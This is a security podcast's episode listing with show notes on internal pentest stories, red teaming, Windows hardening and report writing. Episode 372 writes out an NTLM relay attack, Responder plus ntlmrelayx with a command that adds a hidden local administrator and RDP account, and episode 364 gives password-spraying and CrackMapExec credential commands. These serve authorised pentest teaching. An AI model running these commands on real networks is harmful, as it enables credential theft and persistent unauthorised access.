7 Minute Security

Brian Johnson

7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer.

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733 episodes
Updated Friday

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Jul 15, 2019 · 43 min
7MS #372: Tales of Internal Pentest Pwnage - Part 5
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Today I share the (hopefully) exciting and fun conclusion to last week's episode about a tale of internal pentest pwnage! A few important notes from today's episode: Need to find which hosts on your network have SMB signing disabled, and then get a nice clean list of IPs as a result? Try this: opt/responder/tools/RunFinger.py -i THE.SUBNET.YOU-ARE.ATTACKING/24 -g > hosts.txt grep "Signing:'False'" hosts.txt | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > targets.txt Source: Pwning internal networks automagically Ready to pass captured hashes from one host to another? Open responder.conf and turn SMB and HTTP to Off, then get Responder running in one window, and ntlmrelayx in another. Specifically, I like to use ntlmrelayx.py -tf targets.txt where targets.txt is the list of machines you found that are not using SMB signing. I also like to add a -c to run a string of my choice. Check out this fun evil little nugget: net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add So the full command would be: ntlmrelayx.py -tf targets.txt -c 'net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add' Check today's show notes at https://7ms.us for more information!
Jul 12, 2019 · 44 min
7MS #371: Tales of Internal Pentest Pwnage - Part 4
Today's episode is brought to you by ITProTV. It's never too late to start a new career in IT or move up the ladder, and ITProTV has you covered - from CompTIA and Cisco to EC-Council and VMWare. Get over 65 hours of IT training for free by visiting https://pro.tv/7minute Happy belated 4th of July! Today I've got another fun tale of internal pentest pwnage that comes out of a few recent assessments I did. These tests were really fun because the clients had good defensive measures in place, such as: Having separate accounts for day-to-day operations and administrative/privileged tasks Local Administrator account largely disabled across the enterprise Lean membership in privileged groups (Domain Admins, Enterprise Admins, Schema Admins, etc.) Hard-to-crack passwords! Will I succeed in getting a solid foothold on this network and (hopefully) escalate to Domain Admin? Check out today's episode to find out!
Jul 3, 2019 · 7 min
7MS #370: Happy Secure 4th!
Hey folks, happy secure 4th o' July! In today's seven minute episode (Wha? Gasp! Yep...it's seven minutes!) I kick back a bit, give you some updates and tease/prepare you for some cool full episodes to come in the near future. Topics covered include: NPK, which I talked about last week is super awesome but I'm having issues getting my jobs to run clean. Will keep you posted on progress! Tales of internal pentest pwnage - wow, folks have been sending me feedback that they really like this series. I've got a good episode coming up for you on that front, just can't share right now as the project is just wrapping up. Songwriting - I enjoy writing songs about people to the tune of the old Spiderman theme song. If they ever do a show like The Voice but they're looking for people to write songs about other people based on the Spiderman theme song, I think I've got a shot.
Jun 28, 2019 · 19 min
7MS #369: Cracking Hashes with NPK
Today's episode is brought to you by my friends at safepass.me. Safepass.me is the most efficient and cost-effective solution to prevent Active Directory users from setting a weak or compromised password. It's in compliance with the latest NIST password guidelines, and is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Today I'm having a blast with cracking hashes quickly and cost-effectively using NPK. For 1+ years I've loved my Paperspace config, but lately I've had some reservations about it: People are telling me they're having problems installing the drivers My methodology for building wordlists with HateCrack doesn't seem to work anymore I often pay a lot of $ for idle time since you pay ~$5/month just for the VM itself, and then a buck and change per hour the box is running - even when it's not cracking anything. This week on a pentest I wasn't capturing many hashes, and when I finally did it was a really valuable one. So I wanted to throw more "oomph" at the hash but don't have a ton of days to spare. Enter NPK which lets you submit a hash, decide how much horsepower to throw at it, and even set a max amount of $ to spend on the effort. Super cool! I'm loving it so far! Note: I did have a heck of a time with the install (I'm sure it was a me thing) so I wrote up this gist to help others who might hit the same issue: Happy crackin'!
Jun 24, 2019 · 36 min
7MS #368: Tales of Pentest Fail
This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8. In today's episode, I toss myself under the proverbial security bus and share a tale of pentest fail. Looking back, I think the most important lessons learned were: Scope projects well - I've been part of many over- and under-scoped projects due to PMs and/or sales folks doing an oversimplified calculations, like "URLs times X amount of dollars equals the SOW price." I recommend sending clients a more in-depth questionnaire and even jump on a Web meeting to get a nickel tour of their apps before sending a quote. Train your juniors - IMHO, they should shoulder-surf with more senior engineers a few times and not do much hands-to-keyboard work at first (except maybe helping write the report) until they demonstrate proficiency. Use automated pentest tools with caution - they need proper tuning/care/feeding or they can bring down Web sites and "over test" parameters.
Jun 17, 2019 · 33 min
7MS #367: DIY Two-Hour Risk Assessment
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Hey! I'm on the road again - this time with a tale encompassing: How to conduct a mini risk assessment in just two hours. Some ways to consider adding value : A discussion of administrative and physical controls Create a network inventory using nmap and Eyewitness Conduct an external vulnerability scan with Nessus or OpenVAS How a guy with a gun turned a four-hour road trip into an epic eight hour adventure. Enjoy :-)
Jun 16, 2019 · 1 hr 6 min
7MS #366: Tales of Internal Pentest Pwnage - Part 3
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Today's episode was recorded on the way to a new assessment, and since I had nothing but miles and time in front of me, I covered two major stories (probably not in order of importance): Why I had two get two haircuts in under and hour (spoiler: it's so I didn't look like an idiot for my client)! An internal pentesting pwnage story - including network and physical security this time around! Enjoy!
May 30, 2019 · 1 hr 8 min
7MS #365: Interview with Ryan Manship and Dave Dobrotka - Part 3
This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8. First, a bit of miscellany: If you replace "red rain" with "red team" in this song, we might just have a red team anthem on our hands! If you're in the Twin Cities area and looking for an infosec analyst job, check out this posting with UBB. If interested, I can help make an electronic introduction - and/or let 'em know 7 Minute Security sent ya! Ok, in today's program we're talking about red teaming again with our third awesome installment with Ryan and Dave who are professional red teamers! Today we cover: Recon - it's super important! It's like putting together puzzle pieces...and the more of that puzzle you can figure out, less likely you'll be surprised and the more likely you'll succeed at your objective! Reporting - how do you deliver reports in a way that blue team doesn't feel picked on, management understands the risk, and ultimately everybody leaves feeling charged to secure all the things? I also asked the questions folks submitted to me via LinkedIn/Slack: Any tips for the most dreaded part of an assessment (reports)? How do you get around PowerShell v5 with restrict language mode without having the ability to downgrade to v2? What's an alternative to PowerShell tooling for internal pentesting? (hint: C# is the hotness) What certs/skills should I pursue to get better at red teaming (outside of "Hey, go build a lab!"). Are customers happy to get assessed by a red team exercise, or do they do it begrudgingly because of requirements/regulations?
May 23, 2019 · 36 min
7MS #364: Tales of External Pentest Pwnage
This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8. This episode features cool things I'm learning about external pentesting. But first, some updates: My talk at Secure360 went really well. Only slightly #awkward thing is I felt an overwhelming need to change my title slide to talk about the fact that I don't drink. The 7MS User Group went well. We'll resume in the late summer or early fall and do a session on lockpicking! Wednesday night my band had the honor of singing at a Minnesota LEMA service and wow, what an honor. To see the sea of officers and their supportive families and loved ones was incredibly powerful. On the external pentest front, here are some items we cover in today's show: MailSniper's Invoke-DomainHarvestOWA helps you discover the FQDN of your mail server target. Invoke-UsernameHarvestOWA helps you figure out what username scheme your target is using. Invoke-PasswordSprayOWA helps you do a low and slow password spray to hopefully find some creds! Once inside the network, CrackMapExec is your friend. You can figure out where your compromised creds are valid across the network with this syntax: crackmapexec smb 192.168.0.0/24 -u USER -p 'PASSWORD' -d YOURDOMAIN You can also find what shares you have access to with: crackmapexec smb 192.168.0.0/24 -u USER -p 'PASSWORD' -d YOURDOMAIN --shares Sift through those shares! They often have VERY delicious bits of information in them :-)
May 15, 2019 · 57 min
7MS #363: Interview with Ryan Manship and Dave Dobrotka - Part 2
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Yuss! It's true! Dave and Ryan are back! Back in episode #326 we met Ryan Manship of RedTeam Security and Dave Dobrotka of United HealthGroup and talked about their cool and exciting careers as professional red teamers. In this follow-up interview (which will be broken into a few parts), we talk through a red team engagement from start to finish. Today we cover questions like: Who should have a red team exercise conducted? Who NEEDS one? How do you choose an objective that makes sense? What do you do about push-back from management and/or scope manipulation? ("Don't phish our CEO! She'll click stuff! Attack our servers, just not the production environment!!!"). Spoiler alert: your clients need to have intestinal fortitude! What's better - a "zero knowledge" red team engagement or a collaborative exercise between testers and their clients? How do you attack a high-security bunker?! How do you conduct a red team exercise without ending up in jail? What does your "get out of jail" card get you - and NOT get you?
May 9, 2019 · 41 min
7MS #362: My Dear Friend Impostor Syndrome
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! Today I take a walk (literally!), get chased by a dog (seriously!) and talk about impostor syndrome and feelings of self-loathing and doubt as I get ready to speak at Secure360 next week (insert wah-wah-waaaaaaahhhhhhh here). How do you deal with impostor syndrome? Personally, I'm finding some success in squashing it by forcing myself into situations where I feel like a fraud - over and over again! Over time, I feel slightly less like a sham and a bit more like I know what I'm talking about. Specifically, in this episode I talk about: The thrill of getting a presentation accepted at a conference, and the dread and fear that follows The awful nightmare I have the night before I speak in front of others Shaking off nerves when your talk is accompanied by a sign language interpreter Finding your "voice" and getting the confidence to share/present your knowledge in a way only you can I also share the outline to my "So You Wanna Start a Security Company?" talk, which includes: What are the telltale signs that you should start a security company? How do you find business when everybody and their mom seems to have a security offering? What are some of the tools/services/people that can help your business succeed?
May 3, 2019 · 26 min
7MS #361: Logging Made Easy
Today we're talking about Logging Made Easy, a project that, as its name implies...makes Windows endpoint logging easy! I love it. It offers a simple, digestible walkthrough of several short "chapters" to get started. These chapters include: Chapter 1 - Set up Windows Event Forwarding Chapter 2 – Sysmon Install Chapter 3A – Database (Easy Method) Chapter 3B – Database (Manual Method) Chapter 4 - Post Install Actions Besides having a small issue with a batch script (resolved as of 5/3) and a another snafu (that's probably my fault), it's a simple and effective way to get logging spun up in your environment!
Apr 25, 2019 · 22 min
7MS #360: Active Directory Security 101 - Part 2
This episode of the 7 Minute Security podcast is brought to you by Netwrix. Netwrix Auditor empowers IT pros to detect, investigate and resolve critical issues before they stifle business activity, and proactively identify and mitigate misconfigurations in critical IT systems that could lead to downtime. For more information, visit netwrix.com. In today's program we continue a series on fundamental Active Directory security that we started back in episode 327. I took all the things I talked about in that episode, as well as the new additions discussed today: Finding your most vulnerable AD abuse paths with BloodHound. For a two-part pentest tale showing how BloodHound can be used/abused by attackers, check out episodes 353 and 354. Get a deep-dive look at your AD machines, users, shares, OS versions and more with Network Detective. How to de-escalate local admins (and prevent them from over-using/abusing the use of their privileged account) Although I haven't tested it yet, Logging Made Easy looks like an awesome and free way to get some entry-level logging setup in your environment. Can't wait for a good lab day to play! Here are ALL the AD Security 101 tips in a delicious [gist].
Apr 19, 2019 · 26 min
7MS #359: Windows 10 Security Baselining
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! In this episode I explore some ways you can turn up the security heat on your Windows workstations by mapping their security to a hardening standard and/or baseline. Specifically, I cover: NIST STIG for Windows 10 Heimdal Security - Windows 10 Hardening Guide Center for Internet Security's security benchmarks Windows Security Compliance Toolkit (SCT) I think one path to success is to use the Windows SCT as a way to create a baseline, and then use it - plus some of the other guides and standards - to gradually turn the security screws on the OS. Don't just import a GPO template and turn on 123,456,789 settings at once. You'll likely bring the network to its knees! Got a better/faster/stronger way to accomplish baselining? Let me know!
Apr 16, 2019 · 39 min
7MS #358: 4 Ways to Write a Better Pentest Report
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! This week we're talking about everybody's favorite topic: REPORT WRITING! Yay! The peasants rejoice! In the last few months I've seen a lot of reports from other companies, and here are a few key problems I see with them: Too long - overall these things are waaAAaAaaAayyyYYYYYYyyy too long. I see reports where the analyst has copied and pasted an entire Nessus report into the main report. Yikes. That makes these things weigh in at hundreds(!) of pages. Too techie - these reports look like their written from one techie to another. Nothing wrong with that, really, however in many cases the key person that needs to "get it" is a manager or C-level position who needs to understand the risks in plain English. No narrative - the reports are just a long laundry list of vulnerabilities without any context of how the pentest was conducted or which vulns should be fixed first. Weak remediation - most of the findings are accompanied by whatever remediation instructions are provided by the vuln-scanner or other tool. We can do better than this! How? Listen to today's episode :-). Oh, and don't forget to come to the next 7MS User Group meeting on Monday, April 22! Details here!
Apr 11, 2019 · 7 min
7MS #357: 7 Minutes of IT and Security Tips
Today I'm launching an ongoing series called 7MOIST. It stands for: 7 Minutes of IT and Security Tips The wildest, craziest, nuttiest part of this series is that each episode will be 7 minutes long! I know, I know! You're saying, "Wait a sec, bub, isn't that why this podcast is called 7 Minute Security in the first place?" And yes, you'd be right. Basically, this is my way of going old school and getting back my podcast "roots" by delivering an episode before we had an intro jingle, interviews, sponsors, banter about hot cocoas or an outro song. Nothing but delicious content today friends, Enjoy! Today's theme is: Windows command line shortcuts and tips: Creative ways to play with cmd Basically, you can do Windows Key + R then type cmd and Enter for quick access to command line. But lets do some more fun stuff. Wanna open a command window from the desktop and launch a command in one swoop? Try this: cmd /k For example: cmd /k ping 192.168.0.1 The cmd /k part opens a command window, and then ping 192.168.0.1 can be whatever command you also want to run on the fly. And if you want to start programs and/or open files right from the command line, you can do that (in most cases) by just typing the program name, like: notepad Or, get really fancy and add a document name after the command. For example: notepad meow.txt If meow.txt doesn't exist, Notepad will simply ask you to create it! Finding files faster Call me crazy, but the Windows find/search feature sometimes doesn't find stuff that I know is there. So I still like using old school DOS commands for this. I might do something like: cd \ dir /s *brian*.doc The dir stands for directory, and the /s tells the system to search recursively. See 7ms.us for the rest of today's show notes!
Apr 3, 2019 · 24 min
7MS #356: Faster Hard Drive Forensics with CyLR and CDQR
This episode is brought to you by ITProTV. Visit https://www.itpro.tv/7minsec for over 65 hours of IT training for free! In today's episode I talk about some cool tools you can use to start a hard drive forensics investigation more quickly. Resources talked about on today's podcast include: Forensics 101 - a talk I did for the 7MS user group in January The Digital Forensics Survival Podcast is a FANTASTIC resource to learn more about forensics CyLR works great to do quick live disk artifact-gathering on a suspect system, and then... CDQR can step in and analyze the info you gathered with CyLR and spit out helpful reports to begin your investigation YouTube video of the CyLR/CDQR creators demonstrating the tools and doing a live demo of artifact collection/analysis Did you miss this week's mousejacking Webinar? Also, DIY $500 Pentest Lab - Part 2 is up on YouTube. And we've got a fun Webinar on MITRE ATT&CK coming up in May. Sign up here
Mar 27, 2019 · 27 min
7MS #355: Mousejacking!
This episode is brought to you by Netwrix Auditor, which empowers IT pros to detect, investigate and resolve critical issues before they stifle business activity, and proactively identify and mitigate misconfigurations in critical IT systems that could lead to downtime. In this episode, we talk about the Mousejacking attack, which allows someone with a crazy radio (or other similar device) to inject keystrokes into vulnerable keyboards and mice. Yikes! Not trying to be a doom and gloom guy here, but using this Mousejacking attack, pentesters/attackers could take over your entire Active Directory in just seconds - from the parking lot! I'll talk about how exactly that could be done - as well as ways to defend against mousejacking - in today's episode. If this episodes primes your appetite for more Mousejackin' fun, join me and my pals Paul and Dan for a deep-dive Mousejacking Webinar on Tuesday, April 2 at 12 p.m. CST! Some resources talked about in today's episode: Mousejack.com - great demo video of the attack Crazy Radio PA - one hardware option to perform mousejacking attacks Custom mousejacking firmware for Crazy Radio PA Jackit - tool for conducting mousejack attacks A cool Twitter thread on using mousejacking for pentests Vulnerable devices - nice repository of devices known to be susceptible to mousejacking attacks
Mar 25, 2019 · 38 min
7MS #354: Tales of Internal Pentest Pwnage - Part 2
Today's episode is the thrilling, exciting, heart-pounding conclusion of Tales of Internal Pentest Pwnage - Part 1. In this episode, we cover the final "wins" that got me to Domain Admin status (and beyond!): Got DA but can't get to your final "crown jewels" destinations? How about going after the organization's backups (evil grin!) Got DA but stuck to find hot leads to where the crown jewels are? Get snoopy and go through people's files, folders and...bookmark caches! (evil grin #2!) If your nmap/eyewitness scan turns up Web sites with simply an IIS default landing page or "It works!" Apache page on it, there's probably more there than meets the eye. We also talk about lessons learned from this pentest - both things done well and things the org can do to make the next pentester's job a lot harder.
Mar 22, 2019 · 42 min
7MS #353: Tales of Internal Pentest Pwnage - Part 1
Buckle up! This is one of my favorite episodes. Today I'm kicking off a two-part series that walks you through a narrative of a recent internal pentest I worked on. I was able to get to Domain Admin status and see the "crown jewels" data, so I thought this would be a fun and informative narrative to share. Below are some highlights of topics/tools/techniques discussed: Building a pentest dropbox The timing is perfect - my pal Paul (from Project7) and Dan (from PlexTrac) have a two-part Webinar series on building your own $500 DIY Pentest Lab, but the skills learned in the Webinars translate perfectly into making a pentest dropbox. Head to our webinars page for more info. Securing a pentest dropbox What I did with my Intel NUC pentest dropbox is build a few VMs as follows: Win 10 pro management box with Bitlocker drive encryption and Splashtop (not a sponsor) which I like because it offers 2FA and an additional per-machine password/PIN. I think I spent $100/year for it. Kali attack box with an encrypted drive (Kali makes this easy by offering you this option when you first install the OS). Scoping/approaching a pentest From what I can gather, there are (at least) two popular schools of thought as it relates to approaching a pentest: From the perimeter - where you do a lot of OSINT, phish key users, gain initial access, and then find a path to privilege from there. Assume compromise - assume that eventually someone will click a phishing link and give bad guys a foothold on the network, so you have the pentester bring in a Kali box, plug it into the network, and the test begins from that point. Pentest narrative For one of the tests I worked on, here were some successes and challenges I had along the way: Check out the show notes at 7MS.us as there's lots more good info there!